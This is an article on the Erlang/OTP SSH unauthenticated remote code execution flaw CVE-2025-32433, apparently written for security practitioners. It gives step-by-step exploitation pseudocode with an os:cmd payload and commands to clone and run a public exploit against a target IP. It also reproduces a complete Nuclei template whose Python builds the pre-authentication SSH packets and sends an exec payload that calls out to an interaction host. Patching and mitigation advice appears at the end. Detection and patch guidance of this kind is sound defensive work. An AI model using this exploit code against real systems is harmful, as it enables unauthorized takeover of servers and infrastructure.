How to check and exploit CVE-2025-32433: Critical Unauthenticated RCE Vulnerability in Erlang/OTP SSH

CVE-2025-32433 is a critical remote code execution (RCE) vulnerability in the SSH server implementation of Erlang/OTP. This vulnerability allows attackers to execute arbitrary commands without authentication.

How to check and exploit CVE-2025-32433: Critical Unauthenticated RCE Vulnerability in Erlang/OTP SSH

Overview of CVE-2025-32433

CVE-2025-32433 is a critical remote code execution (RCE) vulnerability in the SSH server implementation of Erlang/OTP. This vulnerability allows attackers to execute arbitrary commands without authentication by sending crafted SSH protocol messages. Given its wide use in telecommunications, IoT platforms, and distributed applications, many systems are vulnerable.

Root Cause and Affected Systems

The vulnerability arises due to improper handling of SSH messages during the handshake phase. Specifically, Erlang/OTP SSH servers mistakenly process certain messages before authentication completes, allowing unauthenticated command execution.

Affected versions include Erlang/OTP 27.3.2 and earlier, OTP 26.2.5.10 and earlier, and OTP 25.3.2.19 and earlier. Systems commonly impacted include telecom equipment, industrial IoT devices, and popular services like RabbitMQ and CouchDB.

Exploitation Steps and Example Payloads

Exploiting CVE-2025-32433 involves these key steps:

  1. Initial Connection and Handshake: Initiate TCP connection to SSH (port 22) and exchange SSH banners.
  2. Key Exchange Initiation: Send a minimal SSH_MSG_KEXINIT packet to start key exchange.
  3. Open Channel Pre-Authentication: Issue an SSH_MSG_CHANNEL_OPEN request prematurely.
  4. Send Malicious Command: Use SSH_MSG_CHANNEL_REQUEST to execute a command directly.
# Pseudocode for CVE-2025-32433 exploit
s = socket.connect((target_host, 22))
s.send(b"SSH-2.0-ExploitClient\r\n")         # Send client banner
banner = s.recv(1024)                       # Receive server banner (likely contains "Erlang")
# ... normally, would perform SSH key exchange here ...

# Send SSH_MSG_CHANNEL_OPEN (for channel 0, type "session")
chan_open_pkt = build_packet(MSG_CHANNEL_OPEN,
    string("session") +                 # channel type
    int_to_bytes(0) +                   # sender channel ID
    int_to_bytes(0x68000) +             # initial window size
    int_to_bytes(0x10000)               # max packet size
)
s.send(chan_open_pkt)

# Send SSH_MSG_CHANNEL_REQUEST (type "exec") with our malicious command
payload_cmd = 'os:cmd("touch /tmp/pwned").'  # example: create a file or execute an OS command
chan_req_pkt = build_packet(MSG_CHANNEL_REQUEST,
    int_to_bytes(0) +                   # recipient channel ID (channel 0)
    string("exec") + 
    byte(1) +                           # want_reply = TRUE (request a response, optional)
    string(payload_cmd)
)
s.send(chan_req_pkt)

# If vulnerable, the server will execute the payload here (creating /tmp/pwned).

Example Payload:

os:cmd("touch /tmp/pwned")

Complete Exploit Example

A complete exploit demonstration is available on GitHub at ProDefense's CVE-2025-32433 repository.

Running the exploit:

git clone https://github.com/ProDefense/CVE-2025-32433.git
cd CVE-2025-32433
python3 exploit.py <target-ip>

Real-World Impact and Attack Scenarios

Attackers can exploit this vulnerability for:

  • Instant Remote Takeover: Gaining immediate root access.
  • Mass Scanning and Wormable Attacks: Automated scans for vulnerable SSH instances.
  • Targeting Critical Infrastructure: Affecting telecom and IoT networks.
  • Lateral Movement and Insider Threats: Exploiting internal Erlang SSH services.

Detecting CVE-2025-32433 with Nuclei

To detect vulnerable SSH services, cybersecurity professionals can use ProjectDiscovery’s Nuclei with the official CVE-2025-32433 template.

Nuclei command:

nuclei -t cves/2025/CVE-2025-32433.yaml -target <target-ip> -p 22

Nuclei Template for CVE-2025-32433

More details at https://nuclei-templates.com/vulnerability/code/cves/2025/cve-2025-32433/

id: CVE-2025-32433

info:
  name: Erlang/OTP SSH - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch,darses
  severity: critical
  description: |
    Erlang/OTP is a set of libraries for the Erlang programming language. Prior to versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20, a SSH server may allow an attacker to perform unauthenticated remote code execution (RCE). By exploiting a flaw in SSH protocol message handling, a malicious actor could gain unauthorized access to affected systems and execute arbitrary commands without valid credentials.
  remediation: |
    This issue is patched in versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20. A temporary workaround involves disabling the SSH server or to prevent access via firewall rules.
  reference:
    - https://platformsecurity.com/blog/CVE-2025-32433-poc
    - https://github.com/erlang/otp/commit/0fcd9c56524b28615e8ece65fc0c3f66ef6e4c12
    - https://github.com/erlang/otp/commit/6eef04130afc8b0ccb63c9a0d8650209cf54892f
    - https://github.com/erlang/otp/commit/b1924d37fd83c070055beb115d5d6a6a9490b891
    - https://github.com/erlang/otp/security/advisories/GHSA-37cp-fgq5-7wc2
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32433
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-32433
    cwe-id: CWE-306
    epss-score: 0.00386
    epss-percentile: 0.58724
  metadata:
    verified: true
    max-request: 1
    shodan-query: "Erlang OTP"
  tags: cve,cve2025,erlang,otp,ssh,rce,oast

variables:
  OAST: "{{interactsh-url}}"

code:
  - engine:
      - py
      - python3
    source: |
        import socket,os
        import struct
        import time
        import binascii

        HOST = os.getenv('Host')
        PORT = os.getenv('Port')

        def hexdump(data):
            return ' '.join([f'{b:02x}' for b in data])

        def string_payload(s):
            s_bytes = s.encode("utf-8")
            return struct.pack(">I", len(s_bytes)) + s_bytes

        def build_packet(payload):
            padding_length = 8 - ((len(payload) + 5) % 8)
            if padding_length < 4:
                padding_length += 8
            packet_length = len(payload) + padding_length + 1
            packet = (
                struct.pack(">I", packet_length) +
                bytes([padding_length]) +
                payload +
                b"\x00" * padding_length
            )
            return packet

        def build_channel_open(channel_id=0):
            return build_packet(
                b"\x5a" +
                string_payload("session") +
                struct.pack(">I", channel_id) +
                struct.pack(">I", 0x100000) +
                struct.pack(">I", 0x8000) +
                b""
            )

        def build_channel_request(channel_id=0, command=""):
            return build_packet(
                b"\x62" +
                struct.pack(">I", channel_id) +
                string_payload("exec") +
                b"\x01" +
                string_payload(command)
            )

        def build_kexinit():
            cookie = b"\x00" * 16
            kex_algorithms = ["[email protected]", "diffie-hellman-group14-sha1"]
            host_key_algorithms = ["ssh-rsa","rsa-sha2-512","rsa-sha2-256"]
            ciphers = ["aes128-ctr"]
            macs = ["hmac-sha1"]
            compression = ["none"]

            payload = (
                b"\x14" +
                cookie +
                string_payload(",".join(kex_algorithms)) +
                string_payload(",".join(host_key_algorithms)) +
                string_payload(",".join(ciphers)) +
                string_payload(",".join(ciphers)) +
                string_payload(",".join(macs)) +
                string_payload(",".join(macs)) +
                string_payload(",".join(compression)) +
                string_payload(",".join(compression)) +
                string_payload("") +
                string_payload("") +
                b"\x00" +
                struct.pack(">I", 0)
            )
            return build_packet(payload)

        def receive_packet(sock, timeout=5):
            sock.settimeout(timeout)
            try:
                size_data = sock.recv(4)
                if not size_data:
                    return None
                packet_size = struct.unpack(">I", size_data)[0]
                packet = sock.recv(packet_size)
                return packet
            except socket.timeout:
                print("[!] Timeout waiting for response")
                return None
            except Exception as e:
                print(f"[!] Error receiving packet: {e}")
                return None

        try:
            with socket.create_connection((HOST, PORT)) as s:
                print("[*] Connecting to SSH server...")

                # Send initial SSH version with specific version string
                version = b"SSH-2.0-OpenSSH_7.4\r\n"
                s.sendall(version)

                banner = s.recv(1024)
                #print(f"[+] Received banner: {banner.strip().decode(errors='ignore')}")

                #print("[*] Sending KEXINIT...")
                s.sendall(build_kexinit())
                response = receive_packet(s)
                if response:
                    print("[+] Received KEXINIT response")

                print("[*] Sending channel_open...")
                s.sendall(build_channel_open())
                response = receive_packet(s)
                if response:
                    print("[+] Channel opened successfully")
                    msg_type = response[1] if len(response) > 1 else None
                time.sleep(1)
                # Try different payload formats
                payloads = [
                    'inet:gethostbyname("' + os.getenv('OAST') + '").'


                ]
                for payload in payloads:
                    print(f"[*] Trying payload: {payload}")
                    s.sendall(build_channel_request(command=payload))
                    response = receive_packet(s)
                    if response:
                        print(f"[+] Response received for payload: {payload}")
                    time.sleep(1)
                print("[*] Exploit attempt completed")

        except Exception as e:
            print(f"[!] Error during exploitation: {e}")

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and

Nuclei identifies Erlang SSH services by banners and tests command execution using DNS-based interactions.

Mitigation and Best Practices

  • Immediate Patching: Upgrade Erlang/OTP to versions 27.3.3, 26.2.5.11, or 25.3.2.20.
  • Vendor-specific Updates: Apply security advisories from third-party vendors promptly.
  • Temporary Workarounds: Restrict SSH access through firewall rules or temporarily disable SSH services.
  • Enhanced Monitoring: Use IDS/IPS to detect anomalous SSH traffic patterns.
  • Asset Inventory: Conduct audits to discover Erlang installations and incorporate them into regular patch cycles.

Conclusion

CVE-2025-32433 highlights critical vulnerabilities even in robust protocols like SSH. The immediate availability of exploit code underscores the importance of rapid response and proactive patch management. Cybersecurity teams must swiftly identify and secure vulnerable Erlang/OTP instances to mitigate potential widespread impacts.